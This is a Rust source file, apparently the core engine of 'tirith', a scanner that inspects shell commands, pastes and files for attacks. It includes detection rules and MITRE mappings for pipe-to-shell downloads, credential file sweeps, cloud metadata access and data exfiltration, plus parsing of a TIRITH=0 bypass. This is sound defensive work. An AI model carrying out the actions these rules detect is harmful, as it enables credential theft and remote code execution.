Skip to main content

tirith_core/
engine.rs

1use std::time::Instant;
2
3use crate::extract::{self, ScanContext};
4use crate::normalize;
5use crate::policy::Policy;
6use crate::tokenize::ShellType;
7use crate::verdict::{Finding, Timings, Verdict};
8
9/// Extract the raw path from a URL string before any normalization.
10fn extract_raw_path_from_url(raw: &str) -> Option<String> {
11    if let Some(idx) = raw.find("://") {
12        let after = &raw[idx + 3..];
13        if let Some(slash_idx) = after.find('/') {
14            // Find end of path (before ? or #)
15            let path_start = &after[slash_idx..];
16            let end = path_start.find(['?', '#']).unwrap_or(path_start.len());
17            return Some(path_start[..end].to_string());
18        }
19    }
20    None
21}
22
23/// Analysis context passed through the pipeline.
24pub struct AnalysisContext {
25    pub input: String,
26    pub shell: ShellType,
27    pub scan_context: ScanContext,
28    pub raw_bytes: Option<Vec<u8>>,
29    pub interactive: bool,
30    pub cwd: Option<String>,
31    /// File path being scanned (only populated for ScanContext::FileScan).
32    pub file_path: Option<std::path::PathBuf>,
33    /// Only populated for ScanContext::FileScan. When None, configfile checks use
34    /// `file_path`'s parent as implicit repo root.
35    pub repo_root: Option<String>,
36    /// True when `file_path` was explicitly provided by the user as a config file.
37    pub is_config_override: bool,
38    /// Clipboard HTML content for rich-text paste analysis.
39    /// Only populated when `tirith paste --html <path>` is used.
40    pub clipboard_html: Option<String>,
41}
42
43/// Check if a VAR=VALUE word is `TIRITH=0`, stripping optional surrounding quotes
44/// from the value (handles `TIRITH='0'` and `TIRITH="0"`).
45fn is_tirith_zero_assignment(word: &str) -> bool {
46    if let Some((name, raw_val)) = word.split_once('=') {
47        let val = raw_val.trim_matches(|c: char| c == '\'' || c == '"');
48        if name == "TIRITH" && val == "0" {
49            return true;
50        }
51    }
52    false
53}
54
55/// Check if the input contains an inline `TIRITH=0` bypass prefix.
56/// Handles POSIX bare prefix (`TIRITH=0 cmd`), env wrappers (`env -i TIRITH=0 cmd`),
57/// and PowerShell env syntax (`$env:TIRITH="0"; cmd`).
58fn find_inline_bypass(input: &str, shell: ShellType) -> bool {
59    use crate::tokenize;
60
61    if matches!(shell, ShellType::Posix | ShellType::Fish) {
62        let segments = tokenize::tokenize(input, shell);
63        if segments.len() != 1 || has_unquoted_ampersand(input, shell) {
64            return false;
65        }
66    }
67
68    let words = split_raw_words(input, shell);
69    if words.is_empty() {
70        return false;
71    }
72
73    // POSIX / Fish: VAR=VALUE prefix or env wrapper
74    // (Fish 3.1+ and all POSIX shells support `TIRITH=0 command`)
75
76    // Case 1: Leading VAR=VALUE assignments before the command
77    let mut idx = 0;
78    while idx < words.len() && tokenize::is_env_assignment(&words[idx]) {
79        if is_tirith_zero_assignment(&words[idx]) {
80            return true;
81        }
82        idx += 1;
83    }
84
85    // Case 2: First real word is `env` — parse env-style args
86    if idx < words.len() {
87        let cmd = words[idx].rsplit('/').next().unwrap_or(&words[idx]);
88        let cmd = cmd.trim_matches(|c: char| c == '\'' || c == '"');
89        if cmd == "env" {
90            idx += 1;
91            while idx < words.len() {
92                let w = &words[idx];
93                if w == "--" {
94                    idx += 1;
95                    // After --, remaining are VAR=VALUE or command
96                    break;
97                }
98                if tokenize::is_env_assignment(w) {
99                    if is_tirith_zero_assignment(w) {
100                        return true;
101                    }
102                    idx += 1;
103                    continue;
104                }
105                if w.starts_with('-') {
106                    if w.starts_with("--") {
107                        if env_long_flag_takes_value(w) && !w.contains('=') {
108                            idx += 2;
109                        } else {
110                            idx += 1;
111                        }
112                        continue;
113                    }
114                    // Short flags that take a separate value arg
115                    if w == "-u" || w == "-C" || w == "-S" {
116                        idx += 2;
117                        continue;
118                    }
119                    idx += 1;
120                    continue;
121                }
122                // Non-flag, non-assignment = the command, stop
123                break;
124            }
125            // Check remaining words after -- for TIRITH=0
126            while idx < words.len() && tokenize::is_env_assignment(&words[idx]) {
127                if is_tirith_zero_assignment(&words[idx]) {
128                    return true;
129                }
130                idx += 1;
131            }
132        }
133    }
134
135    // PowerShell: $env:TIRITH="0" or $env:TIRITH = "0" (before first ;)
136    if shell == ShellType::PowerShell {
137        for word in &words {
138            if is_powershell_tirith_bypass(word) {
139                return true;
140            }
141        }
142        // Multi-word: $env:TIRITH = "0" (space around =)
143        if words.len() >= 3 {
144            for window in words.windows(3) {
145                if is_powershell_env_ref(&window[0], "TIRITH")
146                    && window[1] == "="
147                    && strip_surrounding_quotes(&window[2]) == "0"
148                {
149                    return true;
150                }
151            }
152        }
153    }
154
155    // Cmd: "set TIRITH=0 & ..." or 'set "TIRITH=0" & ...'
156    // In cmd.exe, `set TIRITH="0"` stores the literal `"0"` (with quotes) as the
157    // value, so we must NOT strip inner quotes from the value. Only bare `TIRITH=0`
158    // and whole-token-quoted `"TIRITH=0"` are real bypasses.
159    if shell == ShellType::Cmd && words.len() >= 2 {
160        let first = words[0].to_lowercase();
161        if first == "set" {
162            let second = strip_double_quotes_only(&words[1]);
163            if let Some((name, val)) = second.split_once('=') {
164                if name == "TIRITH" && val == "0" {
165                    return true;
166                }
167            }
168        }
169    }
170
171    false
172}
173
174fn env_long_flag_takes_value(flag: &str) -> bool {
175    let name = flag.split_once('=').map(|(name, _)| name).unwrap_or(flag);
176    matches!(name, "--unset" | "--chdir" | "--split-string")
177}
178
179/// Check if a word is `$env:TIRITH=0` with optional quotes around the value.
180/// The `$env:` prefix is matched case-insensitively (PowerShell convention).
181fn is_powershell_tirith_bypass(word: &str) -> bool {
182    if !word.starts_with('$') || word.len() < "$env:TIRITH=0".len() {
183        return false;
184    }
185    let after_dollar = &word[1..];
186    if !after_dollar
187        .get(..4)
188        .is_some_and(|s| s.eq_ignore_ascii_case("env:"))
189    {
190        return false;
191    }
192    let after_env = &after_dollar[4..];
193    if !after_env
194        .get(..7)
195        .is_some_and(|s| s.eq_ignore_ascii_case("TIRITH="))
196    {
197        return false;
198    }
199    let value = &after_env[7..];
200    strip_surrounding_quotes(value) == "0"
201}
202
203/// Check if a word is a PowerShell env var reference `$env:VARNAME` (no assignment).
204fn is_powershell_env_ref(word: &str, var_name: &str) -> bool {
205    if !word.starts_with('$') {
206        return false;
207    }
208    let after_dollar = &word[1..];
209    if !after_dollar
210        .get(..4)
211        .is_some_and(|s| s.eq_ignore_ascii_case("env:"))
212    {
213        return false;
214    }
215    after_dollar[4..].eq_ignore_ascii_case(var_name)
216}
217
218/// Strip a single layer of matching quotes (single or double) from a string.
219fn strip_surrounding_quotes(s: &str) -> &str {
220    if s.len() >= 2
221        && ((s.starts_with('"') && s.ends_with('"')) || (s.starts_with('\'') && s.ends_with('\'')))
222    {
223        &s[1..s.len() - 1]
224    } else {
225        s
226    }
227}
228
229/// Strip a single layer of matching double quotes only. For Cmd, single quotes are literal.
230fn strip_double_quotes_only(s: &str) -> &str {
231    if s.len() >= 2 && s.starts_with('"') && s.ends_with('"') {
232        &s[1..s.len() - 1]
233    } else {
234        s
235    }
236}
237
238/// Split input into raw words respecting quotes (for bypass/self-invocation parsing).
239/// Unlike tokenize(), this doesn't split on pipes/semicolons — just whitespace-splits
240/// the raw input to inspect the first segment's words.
241///
242/// Shell-aware: POSIX uses backslash as escape inside double-quotes and bare context;
243/// PowerShell uses backtick (`` ` ``) instead.
244fn split_raw_words(input: &str, shell: ShellType) -> Vec<String> {
245    let escape_char = match shell {
246        ShellType::PowerShell => '`',
247        ShellType::Cmd => '^',
248        _ => '\\',
249    };
250
251    // Take only up to the first unquoted pipe/semicolon/&&/||
252    let mut words = Vec::new();
253    let mut current = String::new();
254    let chars: Vec<char> = input.chars().collect();
255    let len = chars.len();
256    let mut i = 0;
257
258    while i < len {
259        let ch = chars[i];
260        match ch {
261            ' ' | '\t' if !current.is_empty() => {
262                words.push(current.clone());
263                current.clear();
264                i += 1;
265                while i < len && (chars[i] == ' ' || chars[i] == '\t') {
266                    i += 1;
267                }
268            }
269            ' ' | '\t' => {
270                i += 1;
271            }
272            '|' | '\n' | '&' => break, // Stop at segment boundary
273            ';' if shell != ShellType::Cmd => break,
274            '#' if shell == ShellType::PowerShell => break,
275            '\'' if shell != ShellType::Cmd => {
276                current.push(ch);
277                i += 1;
278                while i < len && chars[i] != '\'' {
279                    current.push(chars[i]);
280                    i += 1;
281                }
282                if i < len {
283                    current.push(chars[i]);
284                    i += 1;
285                }
286            }
287            '"' => {
288                current.push(ch);
289                i += 1;
290                while i < len && chars[i] != '"' {
291                    if chars[i] == escape_char && i + 1 < len {
292                        current.push(chars[i]);
293                        current.push(chars[i + 1]);
294                        i += 2;
295                    } else {
296                        current.push(chars[i]);
297                        i += 1;
298                    }
299                }
300                if i < len {
301                    current.push(chars[i]);
302                    i += 1;
303                }
304            }
305            c if c == escape_char && i + 1 < len => {
306                current.push(chars[i]);
307                current.push(chars[i + 1]);
308                i += 2;
309            }
310            _ => {
311                current.push(ch);
312                i += 1;
313            }
314        }
315    }
316    if !current.is_empty() {
317        words.push(current);
318    }
319    words
320}
321
322/// Check if input contains an unquoted `&` (backgrounding operator).
323fn has_unquoted_ampersand(input: &str, shell: ShellType) -> bool {
324    let escape_char = match shell {
325        ShellType::PowerShell => '`',
326        ShellType::Cmd => '^',
327        _ => '\\',
328    };
329    let chars: Vec<char> = input.chars().collect();
330    let len = chars.len();
331    let mut i = 0;
332    while i < len {
333        match chars[i] {
334            '\'' if shell != ShellType::Cmd => {
335                i += 1;
336                while i < len && chars[i] != '\'' {
337                    i += 1;
338                }
339                if i < len {
340                    i += 1;
341                }
342            }
343            '"' => {
344                i += 1;
345                while i < len && chars[i] != '"' {
346                    if chars[i] == escape_char && i + 1 < len {
347                        i += 2;
348                    } else {
349                        i += 1;
350                    }
351                }
352                if i < len {
353                    i += 1;
354                }
355            }
356            c if c == escape_char && i + 1 < len => {
357                i += 2; // skip escaped char
358            }
359            '&' => return true,
360            _ => i += 1,
361        }
362    }
363    false
364}
365
366/// Run the tiered analysis pipeline.
367pub fn analyze(ctx: &AnalysisContext) -> Verdict {
368    let start = Instant::now();
369
370    // Tier 0: Check bypass flag
371    let tier0_start = Instant::now();
372    let bypass_env = std::env::var("TIRITH").ok().as_deref() == Some("0");
373    let bypass_inline = find_inline_bypass(&ctx.input, ctx.shell);
374    let bypass_requested = bypass_env || bypass_inline;
375    let tier0_ms = tier0_start.elapsed().as_secs_f64() * 1000.0;
376
377    // Tier 1: Fast scan (no I/O)
378    let tier1_start = Instant::now();
379
380    // Step 1 (paste only): byte-level scan for control chars
381    let byte_scan_triggered = if ctx.scan_context == ScanContext::Paste {
382        if let Some(ref bytes) = ctx.raw_bytes {
383            let scan = extract::scan_bytes(bytes);
384            scan.has_ansi_escapes
385                || scan.has_control_chars
386                || scan.has_bidi_controls
387                || scan.has_zero_width
388                || scan.has_invalid_utf8
389                || scan.has_unicode_tags
390                || scan.has_variation_selectors
391                || scan.has_invisible_math_operators
392                || scan.has_invisible_whitespace
393        } else {
394            false
395        }
396    } else {
397        false
398    };
399
400    // Step 2: URL-like regex scan
401    let regex_triggered = extract::tier1_scan(&ctx.input, ctx.scan_context);
402
403    // Step 3 (exec only): check for bidi/zero-width/invisible chars even without URLs
404    let exec_bidi_triggered = if ctx.scan_context == ScanContext::Exec {
405        let scan = extract::scan_bytes(ctx.input.as_bytes());
406        scan.has_bidi_controls
407            || scan.has_zero_width
408            || scan.has_unicode_tags
409            || scan.has_variation_selectors
410            || scan.has_invisible_math_operators
411            || scan.has_invisible_whitespace
412    } else {
413        false
414    };
415
416    let tier1_ms = tier1_start.elapsed().as_secs_f64() * 1000.0;
417
418    // If nothing triggered, fast exit
419    if !byte_scan_triggered && !regex_triggered && !exec_bidi_triggered {
420        let total_ms = start.elapsed().as_secs_f64() * 1000.0;
421        return Verdict::allow_fast(
422            1,
423            Timings {
424                tier0_ms,
425                tier1_ms,
426                tier2_ms: None,
427                tier3_ms: None,
428                total_ms,
429            },
430        );
431    }
432
433    // Tier 2: Policy + data loading (deferred I/O)
434    let tier2_start = Instant::now();
435
436    if bypass_requested {
437        // Load partial policy to check bypass settings
438        let policy = Policy::discover_partial(ctx.cwd.as_deref());
439        let allow_bypass = if ctx.interactive {
440            policy.allow_bypass_env
441        } else {
442            policy.allow_bypass_env_noninteractive
443        };
444
445        if allow_bypass {
446            let tier2_ms = tier2_start.elapsed().as_secs_f64() * 1000.0;
447            let total_ms = start.elapsed().as_secs_f64() * 1000.0;
448            let mut verdict = Verdict::allow_fast(
449                2,
450                Timings {
451                    tier0_ms,
452                    tier1_ms,
453                    tier2_ms: Some(tier2_ms),
454                    tier3_ms: None,
455                    total_ms,
456                },
457            );
458            verdict.bypass_requested = true;
459            verdict.bypass_honored = true;
460            verdict.interactive_detected = ctx.interactive;
461            verdict.policy_path_used = policy.path.clone();
462            // Log bypass to audit (include custom DLP patterns from partial policy)
463            crate::audit::log_verdict(
464                &verdict,
465                &ctx.input,
466                None,
467                None,
468                &policy.dlp_custom_patterns,
469            );
470            return verdict;
471        }
472    }
473
474    let mut policy = Policy::discover(ctx.cwd.as_deref());
475    policy.load_user_lists();
476    policy.load_org_lists(ctx.cwd.as_deref());
477    let tier2_ms = tier2_start.elapsed().as_secs_f64() * 1000.0;
478
479    // Tier 3: Full analysis
480    let tier3_start = Instant::now();
481    let mut findings = Vec::new();
482
483    // Track extracted URLs for allowlist/blocklist (Exec/Paste only)
484    let mut extracted = Vec::new();
485
486    if ctx.scan_context == ScanContext::FileScan {
487        // FileScan: byte scan + configfile rules ONLY.
488        // Does NOT run command/env/URL-extraction rules.
489        let byte_input = if let Some(ref bytes) = ctx.raw_bytes {
490            bytes.as_slice()
491        } else {
492            ctx.input.as_bytes()
493        };
494        let byte_findings = crate::rules::terminal::check_bytes(byte_input);
495        findings.extend(byte_findings);
496
497        // Config file detection rules
498        findings.extend(crate::rules::configfile::check(
499            &ctx.input,
500            ctx.file_path.as_deref(),
501            ctx.repo_root.as_deref().map(std::path::Path::new),
502            ctx.is_config_override,
503        ));
504
505        // Code file pattern scanning rules
506        if crate::rules::codefile::is_code_file(
507            ctx.file_path.as_deref().and_then(|p| p.to_str()),
508            &ctx.input,
509        ) {
510            findings.extend(crate::rules::codefile::check(
511                &ctx.input,
512                ctx.file_path.as_deref().and_then(|p| p.to_str()),
513            ));
514        }
515
516        // Rendered content rules (file-type gated)
517        if crate::rules::rendered::is_renderable_file(ctx.file_path.as_deref()) {
518            // PDF files get their own parser
519            let is_pdf = ctx
520                .file_path
521                .as_deref()
522                .and_then(|p| p.extension())
523                .and_then(|e| e.to_str())
524                .map(|e| e.eq_ignore_ascii_case("pdf"))
525                .unwrap_or(false);
526
527            if is_pdf {
528                let pdf_bytes = ctx.raw_bytes.as_deref().unwrap_or(ctx.input.as_bytes());
529                findings.extend(crate::rules::rendered::check_pdf(pdf_bytes));
530            } else {
531                findings.extend(crate::rules::rendered::check(
532                    &ctx.input,
533                    ctx.file_path.as_deref(),
534                ));
535            }
536        }
537    } else {
538        // Exec/Paste: standard pipeline
539
540        // Run byte-level rules for paste context
541        if ctx.scan_context == ScanContext::Paste {
542            if let Some(ref bytes) = ctx.raw_bytes {
543                let byte_findings = crate::rules::terminal::check_bytes(bytes);
544                findings.extend(byte_findings);
545            }
546            // Check for hidden multiline content in pasted text
547            let multiline_findings = crate::rules::terminal::check_hidden_multiline(&ctx.input);
548            findings.extend(multiline_findings);
549
550            // Check clipboard HTML for hidden content (rich-text paste analysis)
551            if let Some(ref html) = ctx.clipboard_html {
552                let clipboard_findings =
553                    crate::rules::terminal::check_clipboard_html(html, &ctx.input);
554                findings.extend(clipboard_findings);
555            }
556        }
557
558        // Invisible character checks apply to both exec and paste contexts
559        if ctx.scan_context == ScanContext::Exec {
560            let byte_input = ctx.input.as_bytes();
561            let scan = extract::scan_bytes(byte_input);
562            if scan.has_bidi_controls
563                || scan.has_zero_width
564                || scan.has_unicode_tags
565                || scan.has_variation_selectors
566                || scan.has_invisible_math_operators
567                || scan.has_invisible_whitespace
568            {
569                let byte_findings = crate::rules::terminal::check_bytes(byte_input);
570                // Only keep invisible-char findings for exec context
571                findings.extend(byte_findings.into_iter().filter(|f| {
572                    matches!(
573                        f.rule_id,
574                        crate::verdict::RuleId::BidiControls
575                            | crate::verdict::RuleId::ZeroWidthChars
576                            | crate::verdict::RuleId::UnicodeTags
577                            | crate::verdict::RuleId::InvisibleMathOperator
578                            | crate::verdict::RuleId::VariationSelector
579                            | crate::verdict::RuleId::InvisibleWhitespace
580                    )
581                }));
582            }
583        }
584
585        // Extract and analyze URLs
586        extracted = extract::extract_urls(&ctx.input, ctx.shell);
587
588        for url_info in &extracted {
589            // Normalize path if available — use raw extracted URL's path for non-ASCII detection
590            // since url::Url percent-encodes non-ASCII during parsing
591            let raw_path = extract_raw_path_from_url(&url_info.raw);
592            let normalized_path = url_info.parsed.path().map(normalize::normalize_path);
593
594            // Run all rule categories
595            let hostname_findings = crate::rules::hostname::check(&url_info.parsed, &policy);
596            findings.extend(hostname_findings);
597
598            let path_findings = crate::rules::path::check(
599                &url_info.parsed,
600                normalized_path.as_ref(),
601                raw_path.as_deref(),
602            );
603            findings.extend(path_findings);
604
605            let transport_findings =
606                crate::rules::transport::check(&url_info.parsed, url_info.in_sink_context);
607            findings.extend(transport_findings);
608
609            let ecosystem_findings = crate::rules::ecosystem::check(&url_info.parsed);
610            findings.extend(ecosystem_findings);
611        }
612
613        // Run command-shape rules on full input
614        let command_findings = crate::rules::command::check(
615            &ctx.input,
616            ctx.shell,
617            ctx.cwd.as_deref(),
618            ctx.scan_context,
619        );
620        findings.extend(command_findings);
621
622        // Run credential leak detection rules
623        let cred_findings =
624            crate::rules::credential::check(&ctx.input, ctx.shell, ctx.scan_context);
625        findings.extend(cred_findings);
626
627        // Run environment rules
628        let env_findings = crate::rules::environment::check(&crate::rules::environment::RealEnv);
629        findings.extend(env_findings);
630
631        // Policy-driven network deny/allow (Team feature)
632        if crate::license::current_tier() >= crate::license::Tier::Team
633            && !policy.network_deny.is_empty()
634        {
635            let net_findings = crate::rules::command::check_network_policy(
636                &ctx.input,
637                ctx.shell,
638                &policy.network_deny,
639                &policy.network_allow,
640            );
641            findings.extend(net_findings);
642        }
643    }
644
645    // Custom YAML detection rules (Team-only, Phase 24)
646    if crate::license::current_tier() >= crate::license::Tier::Team
647        && !policy.custom_rules.is_empty()
648    {
649        let compiled = crate::rules::custom::compile_rules(&policy.custom_rules);
650        let custom_findings = crate::rules::custom::check(&ctx.input, ctx.scan_context, &compiled);
651        findings.extend(custom_findings);
652    }
653
654    // Apply policy severity overrides
655    for finding in &mut findings {
656        if let Some(override_sev) = policy.severity_override(&finding.rule_id) {
657            finding.severity = override_sev;
658        }
659    }
660
661    // Filter by allowlist/blocklist
662    // Blocklist: if any extracted URL matches blocklist, escalate to Block
663    for url_info in &extracted {
664        if policy.is_blocklisted(&url_info.raw) {
665            findings.push(Finding {
666                rule_id: crate::verdict::RuleId::PolicyBlocklisted,
667                severity: crate::verdict::Severity::Critical,
668                title: "URL matches blocklist".to_string(),
669                description: format!("URL '{}' matches a blocklist pattern", url_info.raw),
670                evidence: vec![crate::verdict::Evidence::Url {
671                    raw: url_info.raw.clone(),
672                }],
673                human_view: None,
674                agent_view: None,
675                mitre_id: None,
676                custom_rule_id: None,
677            });
678        }
679    }
680
681    // Allowlist: remove findings for URLs that match allowlist
682    // (blocklist takes precedence — if blocklisted, findings remain)
683    if !policy.allowlist.is_empty() || !policy.allowlist_rules.is_empty() {
684        let blocklisted_urls: Vec<&str> = extracted
685            .iter()
686            .filter(|u| policy.is_blocklisted(&u.raw))
687            .map(|u| u.raw.as_str())
688            .collect();
689
690        findings.retain(|f| {
691            let urls_in_evidence: Vec<&str> = f
692                .evidence
693                .iter()
694                .filter_map(|e| match e {
695                    crate::verdict::Evidence::Url { raw } => Some(raw.as_str()),
696                    _ => None,
697                })
698                .collect();
699
700            if urls_in_evidence.is_empty() {
701                return true;
702            }
703
704            let rule_allowlisted = |url: &str| {
705                policy.is_allowlisted_for_rule(&f.rule_id.to_string(), url)
706                    || f.custom_rule_id.as_deref().is_some_and(|custom_rule_id| {
707                        policy.is_allowlisted_for_rule(custom_rule_id, url)
708                    })
709            };
710
711            // Keep if any referenced URL is blocklisted. Otherwise only drop the
712            // finding when every referenced URL is allowlisted for this finding.
713            urls_in_evidence
714                .iter()
715                .any(|url| blocklisted_urls.contains(url))
716                || !urls_in_evidence
717                    .iter()
718                    .all(|url| policy.is_allowlisted(url) || rule_allowlisted(url))
719        });
720    }
721
722    // Enrichment pass (ADR-13): detection is free, enrichment is paid.
723    // All detection rules have already run above. Now add tier-gated enrichment.
724    let tier = crate::license::current_tier();
725    if tier >= crate::license::Tier::Pro {
726        enrich_pro(&mut findings);
727    }
728    if tier >= crate::license::Tier::Team {
729        enrich_team(&mut findings);
730    }
731
732    // Early access filter (ADR-14): suppress non-critical findings for rules
733    // in time-boxed early access windows when tier is below the minimum.
734    crate::rule_metadata::filter_early_access(&mut findings, tier);
735
736    let tier3_ms = tier3_start.elapsed().as_secs_f64() * 1000.0;
737    let total_ms = start.elapsed().as_secs_f64() * 1000.0;
738
739    let mut verdict = Verdict::from_findings(
740        findings,
741        3,
742        Timings {
743            tier0_ms,
744            tier1_ms,
745            tier2_ms: Some(tier2_ms),
746            tier3_ms: Some(tier3_ms),
747            total_ms,
748        },
749    );
750    verdict.bypass_requested = bypass_requested;
751    verdict.interactive_detected = ctx.interactive;
752    verdict.policy_path_used = policy.path.clone();
753    verdict.urls_extracted_count = Some(extracted.len());
754
755    verdict
756}
757
758// ---------------------------------------------------------------------------
759// Paranoia tier filtering (Phase 15)
760// ---------------------------------------------------------------------------
761
762/// Filter a verdict's findings by paranoia level and license tier.
763///
764/// This is an output-layer filter — the engine always detects everything (ADR-13).
765/// CLI/MCP call this after `analyze()` to reduce noise at lower paranoia levels.
766///
767/// - Paranoia 1-2 (any tier): Medium+ findings only
768/// - Paranoia 3 (Pro required): also show Low findings
769/// - Paranoia 4 (Pro required): also show Info findings
770///
771/// Free-tier users are capped at effective paranoia 2 regardless of policy setting.
772pub fn filter_findings_by_paranoia(verdict: &mut Verdict, paranoia: u8) {
773    retain_by_paranoia(&mut verdict.findings, paranoia);
774    verdict.action = recalculate_action(&verdict.findings);
775}
776
777/// Filter a Vec<Finding> by paranoia level and license tier.
778/// Same logic as `filter_findings_by_paranoia` but operates on raw findings
779/// (for scan results that don't use the Verdict wrapper).
780pub fn filter_findings_by_paranoia_vec(findings: &mut Vec<Finding>, paranoia: u8) {
781    retain_by_paranoia(findings, paranoia);
782}
783
784/// Recalculate verdict action from the current findings (same logic as `Verdict::from_findings`).
785fn recalculate_action(findings: &[Finding]) -> crate::verdict::Action {
786    use crate::verdict::{Action, Severity};
787    if findings.is_empty() {
788        return Action::Allow;
789    }
790    let max_severity = findings
791        .iter()
792        .map(|f| f.severity)
793        .max()
794        .unwrap_or(Severity::Low);
795    match max_severity {
796        Severity::Critical | Severity::High => Action::Block,
797        Severity::Medium | Severity::Low => Action::Warn,
798        Severity::Info => Action::Allow,
799    }
800}
801
802/// Shared paranoia retention logic.
803fn retain_by_paranoia(findings: &mut Vec<Finding>, paranoia: u8) {
804    let tier = crate::license::current_tier();
805    let effective = if tier >= crate::license::Tier::Pro {
806        paranoia.min(4)
807    } else {
808        paranoia.min(2) // Free users capped at 2
809    };
810
811    findings.retain(|f| match f.severity {
812        crate::verdict::Severity::Info => effective >= 4,
813        crate::verdict::Severity::Low => effective >= 3,
814        _ => true, // Medium/High/Critical always shown
815    });
816}
817
818// ---------------------------------------------------------------------------
819// Tier-gated enrichment (ADR-13: detect free, enrich paid)
820// ---------------------------------------------------------------------------
821
822/// Pro enrichment: dual-view, decoded content, cloaking diffs, line numbers.
823fn enrich_pro(findings: &mut [Finding]) {
824    for finding in findings.iter_mut() {
825        match finding.rule_id {
826            // Rendered content findings: show what human sees vs what agent processes
827            crate::verdict::RuleId::HiddenCssContent => {
828                finding.human_view =
829                    Some("Content hidden via CSS — invisible in rendered view".into());
830                finding.agent_view = Some(format!(
831                    "AI agent sees full text including CSS-hidden content. {}",
832                    evidence_summary(&finding.evidence)
833                ));
834            }
835            crate::verdict::RuleId::HiddenColorContent => {
836                finding.human_view =
837                    Some("Text blends with background — invisible to human eye".into());
838                finding.agent_view = Some(format!(
839                    "AI agent reads text regardless of color contrast. {}",
840                    evidence_summary(&finding.evidence)
841                ));
842            }
843            crate::verdict::RuleId::HiddenHtmlAttribute => {
844                finding.human_view =
845                    Some("Elements marked hidden/aria-hidden — not displayed".into());
846                finding.agent_view = Some(format!(
847                    "AI agent processes hidden element content. {}",
848                    evidence_summary(&finding.evidence)
849                ));
850            }
851            crate::verdict::RuleId::HtmlComment => {
852                finding.human_view = Some("HTML comments not rendered in browser".into());
853                finding.agent_view = Some(format!(
854                    "AI agent reads comment content as context. {}",
855                    evidence_summary(&finding.evidence)
856                ));
857            }
858            crate::verdict::RuleId::MarkdownComment => {
859                finding.human_view = Some("Markdown comments not rendered in preview".into());
860                finding.agent_view = Some(format!(
861                    "AI agent processes markdown comment content. {}",
862                    evidence_summary(&finding.evidence)
863                ));
864            }
865            crate::verdict::RuleId::PdfHiddenText => {
866                finding.human_view = Some("Sub-pixel text invisible in PDF viewer".into());
867                finding.agent_view = Some(format!(
868                    "AI agent extracts all text including sub-pixel content. {}",
869                    evidence_summary(&finding.evidence)
870                ));
871            }
872            crate::verdict::RuleId::ClipboardHidden => {
873                finding.human_view =
874                    Some("Hidden content in clipboard HTML not visible in paste preview".into());
875                finding.agent_view = Some(format!(
876                    "AI agent processes full clipboard including hidden HTML. {}",
877                    evidence_summary(&finding.evidence)
878                ));
879            }
880            _ => {}
881        }
882    }
883}
884
885/// Summarize evidence entries for enrichment text.
886fn evidence_summary(evidence: &[crate::verdict::Evidence]) -> String {
887    let details: Vec<&str> = evidence
888        .iter()
889        .filter_map(|e| {
890            if let crate::verdict::Evidence::Text { detail } = e {
891                Some(detail.as_str())
892            } else {
893                None
894            }
895        })
896        .take(3)
897        .collect();
898    if details.is_empty() {
899        String::new()
900    } else {
901        format!("Details: {}", details.join("; "))
902    }
903}
904
905/// MITRE ATT&CK technique mapping for built-in rules.
906fn mitre_id_for_rule(rule_id: crate::verdict::RuleId) -> Option<&'static str> {
907    use crate::verdict::RuleId;
908    match rule_id {
909        // Execution
910        RuleId::PipeToInterpreter
911        | RuleId::CurlPipeShell
912        | RuleId::WgetPipeShell
913        | RuleId::HttpiePipeShell
914        | RuleId::XhPipeShell => Some("T1059.004"), // Command and Scripting Interpreter: Unix Shell
915
916        // Persistence
917        RuleId::DotfileOverwrite => Some("T1546.004"), // Event Triggered Execution: Unix Shell Config
918
919        // Defense Evasion
920        RuleId::BidiControls
921        | RuleId::UnicodeTags
922        | RuleId::ZeroWidthChars
923        | RuleId::InvisibleMathOperator
924        | RuleId::VariationSelector
925        | RuleId::InvisibleWhitespace => {
926            Some("T1036.005") // Masquerading: Match Legitimate Name or Location
927        }
928        RuleId::HiddenMultiline | RuleId::AnsiEscapes | RuleId::ControlChars => Some("T1036.005"),
929
930        // Hijack Execution Flow
931        RuleId::CodeInjectionEnv => Some("T1574.006"), // Hijack Execution Flow: Dynamic Linker Hijacking
932        RuleId::InterpreterHijackEnv => Some("T1574.007"), // Path Interception by PATH
933        RuleId::ShellInjectionEnv => Some("T1546.004"), // Shell Config Modification
934
935        // Credential Access
936        RuleId::CredentialInText | RuleId::HighEntropySecret => Some("T1552"), // Unsecured Credentials
937        RuleId::PrivateKeyExposed => Some("T1552.004"),                        // Private Keys
938        RuleId::MetadataEndpoint => Some("T1552.005"), // Unsecured Credentials: Cloud Instance Metadata
939        RuleId::SensitiveEnvExport | RuleId::CredentialFileSweep => Some("T1552.001"), // Credentials In Files
940        RuleId::ProcMemAccess => Some("T1003.007"), // OS Credential Dumping: Proc Filesystem
941        RuleId::DockerRemotePrivEsc => Some("T1611"), // Escape to Host
942
943        // Supply Chain
944        RuleId::ConfigInjection => Some("T1195.001"), // Supply Chain Compromise: Dev Tools
945        RuleId::McpInsecureServer | RuleId::McpSuspiciousArgs => Some("T1195.002"), // Compromise Software Supply Chain
946        RuleId::GitTyposquat => Some("T1195.001"),
947        RuleId::DockerUntrustedRegistry => Some("T1195.002"),
948
949        // Discovery / Lateral Movement
950        RuleId::PrivateNetworkAccess => Some("T1046"), // Network Service Discovery
951        RuleId::ServerCloaking => Some("T1036"),       // Masquerading
952
953        // Collection
954        RuleId::ArchiveExtract => Some("T1560.001"), // Archive Collected Data: Archive via Utility
955
956        // Exfiltration
957        RuleId::ProxyEnvSet => Some("T1090.001"), // Proxy: Internal Proxy
958        RuleId::DataExfiltration => Some("T1048.003"), // Exfiltration Over Unencrypted Non-C2 Protocol
959        RuleId::SuspiciousCodeExfiltration => Some("T1041"), // Exfiltration Over C2 Channel
960
961        // Command Obfuscation
962        RuleId::Base64DecodeExecute => Some("T1027.010"), // Command Obfuscation
963        RuleId::ObfuscatedPayload => Some("T1027"),       // Obfuscated Files or Information
964        RuleId::DynamicCodeExecution => Some("T1059"),    // Command and Scripting Interpreter
965
966        _ => None,
967    }
968}
969
970/// Team enrichment: MITRE ATT&CK classification.
971fn enrich_team(findings: &mut [Finding]) {
972    for finding in findings.iter_mut() {
973        if finding.mitre_id.is_none() {
974            finding.mitre_id = mitre_id_for_rule(finding.rule_id).map(String::from);
975        }
976    }
977}
978
979#[cfg(test)]
980mod tests {
981    use super::*;
982    #[test]
983    fn test_exec_bidi_without_url() {
984        // Input with bidi control but no URL — should NOT fast-exit at tier 1
985        let input = format!("echo hello{}world", '\u{202E}');
986        let ctx = AnalysisContext {
987            input,
988            shell: ShellType::Posix,
989            scan_context: ScanContext::Exec,
990            raw_bytes: None,
991            interactive: true,
992            cwd: None,
993            file_path: None,
